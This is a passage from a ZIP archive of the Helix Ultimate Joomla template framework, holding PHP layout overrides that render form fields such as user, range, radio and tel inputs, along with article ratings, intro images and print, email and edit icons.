*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 */

// Initialize some field attributes.
$class    = !empty($class) ? ' class="' . $class . '"' : '';
$disabled = $disabled ? ' disabled' : '';
$onchange = $onchange ? ' onchange="' . $onchange . '"' : '';
?>
<input
	type="hidden"
	name="<?php echo $name; ?>"
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo $class, $disabled, $onchange; ?>>
PK!,:���:helixultimate/overrides/layouts/joomla/form/field/user.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\Utilities\ArrayHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 *
 * @var   string   $userName        The user name
 * @var   mixed    $groups          The filtering groups (null means no filtering)
 * @var   mixed    $excluded        The users to exclude from the list of users
 */

if (!$readonly)
{
	HTMLHelper::_('behavior.modal', 'a.modal_' . $id);
	HTMLHelper::_('script', 'system/fields/fielduser.min.js', array('version' => 'auto', 'relative' => true));
}

$uri = new Uri('index.php?option=com_users&view=users&layout=modal&tmpl=component&required=0');

$uri->setVar('field', $this->escape($id));

if ($required)
{
	$uri->setVar('required', 1);
}

if (!empty($groups))
{
	$uri->setVar('groups', base64_encode(json_encode($groups)));
}

if (!empty($excluded))
{
	$uri->setVar('excluded', base64_encode(json_encode($excluded)));
}

// Invalidate the input value if no user selected
if ($this->escape($userName) === Text::_('JLIB_FORM_SELECT_USER'))
{
	$userName = '';
}

$inputAttributes = array(
	'type' => 'text', 'id' => $id, 'class' => 'form-control field-user-input-name', 'value' => $this->escape($userName)
);
if ($class)
{
	$inputAttributes['class'] .= ' ' . $class;
}
if ($size)
{
	$inputAttributes['size'] = (int) $size;
}
if ($required)
{
	$inputAttributes['required'] = 'required';
}
if (!$readonly)
{
	$inputAttributes['placeholder'] = Text::_('JLIB_FORM_SELECT_USER');
}
?>
<?php // Create a dummy text field with the user name. ?>
<div class="field-user-wrapper"
	data-url="<?php echo (string) $uri; ?>"
	data-modal=".modal"
	data-modal-width="100%"
	data-modal-height="400px"
	data-input=".field-user-input"
	data-input-name=".field-user-input-name"
	data-button-select=".button-select">
	<div class="input-group">
		<input <?php echo ArrayHelper::toString($inputAttributes); ?> readonly>
			<?php if (!$readonly) : ?>
				<span class="input-group-btn">
					<a class="btn btn-primary button-select" title="<?php echo Text::_('JLIB_FORM_CHANGE_USER') ?>"><span class="icon-user icon-white"></span></a>
					<?php echo HTMLHelper::_(
						'bootstrap.renderModal',
						'userModal_' . $id,
						array(
							'url'         => $uri,
							'title'       => Text::_('JLIB_FORM_CHANGE_USER'),
							'closeButton' => true,
							'height'      => '100%',
							'width'       => '100%',
							'modalWidth'  => 80,
							'bodyHeight'  => 60,
							'footer'      => '<a type="button" class="btn btn-secondary" data-dismiss="modal">' . Text::_('JCANCEL') . '</a>'
						)
					); ?>
				</span>
			<?php endif; ?>
	</div>
	<?php // Create the real field, hidden, that stored the user id. ?>
	<?php if (!$readonly) : ?>
        <input type="hidden" id="<?php echo $id; ?>_id" name="<?php echo $name; ?>" value="<?php echo (int) $value; ?>"
            class="field-user-input <?php echo $class ? (string) $class : ''?>"
            data-onchange="<?php echo $this->escape($onchange); ?>">
	<?php endif; ?>
</div>
PK!/�QQ;helixultimate/overrides/layouts/joomla/form/field/range.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

// Initialize some field attributes.
$attributes = array(
	$class ? 'class="form-control ' . $class . '"' : 'class="form-control"',
	$disabled ? 'disabled' : '',
	$readonly ? 'readonly' : '',
	!empty($onchange) ? 'onchange="' . $onchange . '"' : '',
	!empty($max) ? 'max="' . $max . '"' : '',
	!empty($step) ? 'step="' . $step . '"' : '',
	!empty($min) ? 'min="' . $min . '"' : '',
	$autofocus ? 'autofocus' : '',
);

$value = (float) $value;
$value = empty($value) ? $min : $value;

?>
<input
	type="range"
	name="<?php echo $name; ?>"
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo implode(' ', $attributes); ?>>
PK!���  @helixultimate/overrides/layouts/joomla/form/field/radiobasic.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 */

// Including fallback code for HTML5 non supported browsers.
HTMLHelper::_('jquery.framework');

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$format = '<input type="radio" id="%1$s" name="%2$s" value="%3$s" %4$s>';
$alt    = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' radio'); ?>"
	<?php echo $disabled ? 'disabled' : ''; ?>
	<?php echo $required ? 'required aria-required="true"' : ''; ?>
	<?php echo $autofocus ? 'autofocus' : ''; ?>>

	<?php if (!empty($options)) : ?>
		<?php foreach ($options as $i => $option) : ?>
			<?php
				// Initialize some option attributes.
				$checked     = ((string) $option->value == $value) ? 'checked="checked"' : '';
				$optionClass = !empty($option->class) ? 'class="' . $option->class . '"' : '';
				$disabled    = !empty($option->disable) || ($disabled && !$checked) ? 'disabled' : '';

				// Initialize some JavaScript option attributes.
				$onclick    = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : '';
				$onchange   = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : '';
				$oid        = $id . $i;
				$ovalue     = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
				$attributes = array_filter(array($checked, $optionClass, $disabled, $onchange, $onclick));
			?>
			<?php if ($required) : ?>
				<?php $attributes[] = 'required aria-required="true"'; ?>
			<?php endif; ?>
			<div class="radio m-b-0">
				<label for="<?php echo $oid; ?>" <?php echo $optionClass; ?>>
					<?php echo sprintf($format, $oid, $name, $ovalue, implode(' ', $attributes)); ?>
					<?php echo Text::alt($option->text, $alt); ?>
				</label>
			</div>
		<?php endforeach; ?>
	<?php endif; ?>
</fieldset>
PK!Fc\���Dhelixultimate/overrides/layouts/joomla/form/field/contenthistory.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck       Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 *
 * @var   string   $link            The link for the content history page
 * @var   string   $label           The label text
 */
extract($displayData);

?>
 <div class="modal fade" id="versionsModal" tabindex="-1" >
	<div class="modal-dialog" role="dialog">
		<div class="modal-content">
		<div class="modal-header">
			<h5 class="modal-title" id="exampleModalLabel"><?php echo $label; ?></h5>
			<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close">
			</button>
		</div>
		<div class="modal-body">
			<iframe height="100%" width="100%" src="<?php echo $link ?>" frameborder="0"></iframe>
		</div>
		<div class="modal-footer">
			<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
		</div>
		</div>
	</div>
</div>

<div data-bs-target="#versionsModal" class="btn btn-secondary ms-2" data-bs-toggle="modal" title="<?php echo $label; ?>">
	<span class="fas fa-code-branch" aria-hidden="true"></span> <?php echo $label; ?>
</div>
PK!x��*��Ahelixultimate/overrides/layouts/joomla/form/field/moduleorder.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   array    $spellcheck      Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

$attr  = '';

// Initialize some field attributes.
$attr .= !empty($class) ? ' class="module-ajax-ordering ' . $class . '"' : 'class="module-ajax-ordering"';
$attr .= $disabled ? ' disabled' : '';
$attr .= !empty($size) ? ' size="' . $size . '"' : '';

// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : '';

HTMLHelper::_('script', 'system/fields/moduleorder.js', array('version' => 'auto', 'relative' => true));
?>
<div
	id="parent_<?php echo $id; ?>"
	<?php echo $attr; ?>
	data-url="<?php echo 'index.php?option=com_modules&task=module.orderPosition&' . $token; ?>"
	data-element="<?php echo 'parent_' . $id; ?>"
	data-ordering="<?php echo $ordering; ?>"
	data-position-element="<?php echo $element; ?>"
	data-client-id="<?php echo $clientId; ?>"
	data-name="<?php echo $name; ?>"
	data-attr="<?php echo $attr; ?>">
</div>
PK!�]LX
X
9helixultimate/overrides/layouts/joomla/form/field/tel.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 * @var   integer  $maxLength       The maximum length that the field shall accept.
 */

// Including fallback code for HTML5 non supported browsers.
HTMLHelper::_('jquery.framework');
HTMLHelper::_('script', 'system/html5fallback.js', false, true);

$autocomplete = !$autocomplete ? ' autocomplete="off"' : ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == ' autocomplete="on"' ? '' : $autocomplete;

$attributes = array(
	!empty($size) ? 'size="' . $size . '"' : '',
	$disabled ? 'disabled' : '',
	$readonly ? 'readonly' : '',
	strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	$autocomplete,
	$autofocus ? ' autofocus' : '',
	$spellcheck ? '' : 'spellcheck="false"',
	$onchange ? ' onchange="' . $onchange . '"' : '',
	!empty($maxLength) ? $maxLength : '',
	$required ? 'required aria-required="true"' : '',
);
?>
<input
	type="tel"
	name="<?php echo $name; ?>"
	<?php echo !empty($class) ? ' class="form-control ' . $class . '"' : 'class="form-control"'; ?>
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo implode(' ', $attributes); ?>>
PK!LGٸ��;helixultimate/overrides/layouts/joomla/form/field/media.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

if (JVERSION < 4)
{
    require \JPATH_ROOT . '/plugins/system/helixultimate/html/layouts/form/field/media_j3.php';
}
else
{
    require \JPATH_ROOT . '/plugins/system/helixultimate/html/layouts/form/field/media.php';
}
PK!A����;helixultimate/overrides/layouts/joomla/form/renderlabel.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

extract($displayData);

$classes = array_filter((array) $classes);
$id      = $for . '-lbl';

if ($required)
{
	$classes[] = 'required';
}

$classes[] = 'form-label';

?>
<label id="<?php echo $id; ?>" for="<?php echo $for; ?>"<?php if (!empty($classes)) { echo ' class="' . implode(' ', $classes) . '"';} ?>>
	<?php echo $text; ?><?php if ($required) : ?><span class="star" aria-hidden="true">&#160;*</span><?php endif; ?>
</label>PK!���KK9helixultimate/overrides/layouts/joomla/content/rating.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;

$rating = (int) $displayData['item']->rating;
$rating_count = $displayData['item']->rating_count;
if($rating_count == '') {
	$rating_count = 0;
}

?>
<div class="article-ratings" data-id="<?php echo (int) $displayData['item']->id; ?>">
	<span class="ratings-label"><?php echo Text::_('HELIX_ULTIMATE_ARTICLE_RATINGS'); ?></span>
	<div class="rating-symbol">
		<?php
		$j = 0;
		for($i = $rating; $i < 5; $i++)
		{
			echo '<span class="rating-star" data-number="' . (5 - $j) . '"></span>';
			$j++;
		}
		for ($i = 0; $i < $rating; $i++)
		{
			echo '<span class="rating-star active" data-number="'.($rating - $i).'"></span>';
		}
		?>
	</div>
	<span class="fas fa-circle-notch fa-spin" aria-hidden="true" style="display: none;"></span>
	<span class="ratings-count">(<?php echo $rating_count; ?>)</span>
</div>
PK!�fW

>helixultimate/overrides/layouts/joomla/content/intro_image.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

$params = $displayData->params;
$attribs = json_decode($displayData->attribs);

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$tplParams = $template->params;

$leading = (isset($displayData->leading) && $displayData->leading) ? 1 : 0;

if($leading)
{
	$blog_list_image = $tplParams->get('leading_blog_list_image', 'large');
}
else
{
	$blog_list_image = $tplParams->get('blog_list_image', 'thumbnail');
}

$intro_image = '';
if(isset($attribs->helix_ultimate_image) && $attribs->helix_ultimate_image != '')
{
	if($blog_list_image == 'default')
	{
		$intro_image = $attribs->helix_ultimate_image;
	}
	else
	{
		$intro_image = $attribs->helix_ultimate_image;
		$basename = basename($intro_image);
		$list_image = JPATH_ROOT . '/' . dirname($intro_image) . '/' . File::stripExt($basename) . '_'. $blog_list_image .'.' . File::getExt($basename);
		if(File::exists($list_image)) {
			$intro_image = Uri::root(true) . '/' . dirname($intro_image) . '/' . File::stripExt($basename) . '_'. $blog_list_image .'.' . File::getExt($basename);
		}
	}
}
?>
<?php if($intro_image) : ?>
	<?php if ($params->get('link_titles') && $params->get('access-view')) : ?>
		<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($displayData->slug, $displayData->catid, $displayData->language)); ?>">
	<?php endif; ?>
		<div class="article-intro-image">
			<img src="<?php echo $intro_image; ?>" alt="<?php echo htmlspecialchars($displayData->title, ENT_COMPAT, 'UTF-8'); ?>">
		</div>
	<?php if ($params->get('link_titles') && $params->get('access-view')) : ?>
		</a>
	<?php endif; ?>
<?php else: ?>

	<?php $images = json_decode($displayData->images); ?>
	<?php if (isset($images->image_intro) && !empty($images->image_intro)) : ?>
		<?php $imgfloat = empty($images->float_intro) ? $params->get('float_intro') : $images->float_intro; ?>
		<div class="article-intro-image float-<?php echo htmlspecialchars($imgfloat, ENT_COMPAT, 'UTF-8'); ?>">
			<?php if ($params->get('link_titles') && $params->get('access-view')) : ?>
				<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($displayData->slug, $displayData->catid, $displayData->language)); ?>"><img
					<?php if ($images->image_intro_caption) : ?>
						<?php echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_intro_caption) . '"'; ?>
					<?php endif; ?>
					src="<?php echo htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8'); ?>"></a>
				<?php else : ?><img
					<?php if ($images->image_intro_caption) : ?>
						<?php echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_intro_caption, ENT_COMPAT, 'UTF-8') . '"'; ?>
					<?php endif; ?>
					src="<?php echo htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8'); ?>">
				<?php endif; ?>
			</div>
		<?php endif; ?>
	<?php endif; ?>
PK!yGfI��Khelixultimate/overrides/layouts/joomla/content/categories_default_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

$class     = ' class="first"';

$item      = $displayData->item;
$items     = $displayData->get('items');
$params    = $displayData->params;
$extension = $displayData->get('extension');
$className = substr($extension, 4);

// This will work for the core components but not necessarily for other components
// that may have different pluralisation rules.
if (substr($className, -1) === 's')
{
	$className = rtrim($className, 's');
}
PK!dj�λ�Ehelixultimate/overrides/layouts/joomla/content/icons/print_screen.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;

?>
<span class="btn btn-outline-secondary btn-sm">
	<span class="fas fa-print" aria-hidden="true"></span>
	<?php echo Text::_('JGLOBAL_PRINT'); ?>
</span>
PK!dj�λ�Dhelixultimate/overrides/layouts/joomla/content/icons/print_popup.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;

?>
<span class="btn btn-outline-secondary btn-sm">
	<span class="fas fa-print" aria-hidden="true"></span>
	<?php echo Text::_('JGLOBAL_PRINT'); ?>
</span>
PK!f�2��=helixultimate/overrides/layouts/joomla/content/icons/edit.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$article = $displayData['article'];
$tooltip = JVERSION < 4 ? $displayData['overlib'] : $displayData['tooltip'];

$icon 			= $article->state ? 'edit' : 'eye-slash';
$currentDate   	= Factory::getDate()->format('Y-m-d H:i:s');
$isUnpublished 	= JVERSION < 4
	? strtotime($article->publish_up) > strtotime(Factory::getDate()) || ((strtotime($article->publish_down) < strtotime(Factory::getDate())) && $article->publish_down != Factory::getDbo()->getNullDate())
	: ($article->publish_up > $currentDate) || !is_null($article->publish_down) && ($article->publish_down < $currentDate);

if ($isUnpublished)
{
	$icon = 'eye-slash';
}
?>
<SPAN class="link-edit-article">
	<span class="hasTooltip fas fa-<?php echo $icon; ?>" title="<?php echo HTMLHelper::tooltipText(Text::_('COM_CONTENT_EDIT_ITEM'), $tooltip, 0, 0); ?>"></span>
	<?php echo Text::_('JGLOBAL_EDIT'); ?>
</SPAN>
PK!B���>helixultimate/overrides/layouts/joomla/content/icons/email.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;
?>
<span class="btn btn-outline-secondary btn-sm">
	<span class="fas fa-envelope" aria-hidden="true"></span>
	<?php echo Text::_('JGLOBAL_EMAIL'); ?>
</span>PK!J�<MMBhelixultimate/overrides/layouts/joomla/content/icons/edit_lock.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$tooltip = $displayData['tooltip'];
$legacy  = $displayData['legacy'];

?>
<?php if ($legacy) : ?>
	<span class="hasTooltip" title="<?php echo HTMLHelper::tooltipText($tooltip . '', 0); ?>">
		<?php echo HTMLHelper::_('image', 'system/checked_out.png', null, null, true); ?>
